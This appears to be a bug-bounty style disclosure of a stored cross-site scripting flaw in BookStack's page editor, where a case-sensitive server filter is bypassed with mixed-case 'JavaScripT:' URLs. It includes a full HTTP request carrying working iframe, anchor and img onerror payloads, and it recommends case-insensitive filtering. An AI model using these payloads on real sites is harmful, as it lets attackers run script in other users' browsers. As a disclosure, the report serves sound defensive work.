✍️ Description

There is html tag filtration problem in “book page” egit leading to stored XSS.

By design “bad” tags and attributes stripped on client side when editing page(obvious bypass by editing request intercepted via burp) and on server side addition filter applied, however this filter can be also bypassed.

🕵️‍♂️ Proof of Concept

There is a number of html tags in white list which can be used to obtain stored XSS. As example: by using tag <a> or <iframe> attacker can exec js code by adding href=javascript:<scomecode>, but javascript: will be filtered on server side.
Unfortunately it can be bypassed by using camel-case: JavAScRipT:

Request example:

POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://192.168.255.78
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1

_token=&lt;TOKEN&gt;&_method=PUT&summary=&name=test&html=<p>&lt;iframe+src%3d"JavaScripT%3aalert(document.location)"&gt;&lt;/iframe&gt;&lt;a+href%3d"JavaScripT%3aalert(document.domain)"&gt;aaaa</a></p>&tags%5B0%5D%5Bname%5D=%3Cimg%2Fsrc%2Fonerror%3Dalert%28%29%3E&tags%5B0%5D%5Bvalue%5D=&tags%5B1%5D%5Bname%5D=&tags%5B1%5D%5Bvalue%5D=&tags%5Brandrowid%5D%5Bname%5D=&tags%5Brandrowid%5D%5Bvalue%5D=&attachment_link_uploaded_to=2&attachment_link_name=&attachment_link_url=&template=false

💥 Impact

Stored XSS

Recommendation

Use case insensitive functions to locate potential “bad” html attributes.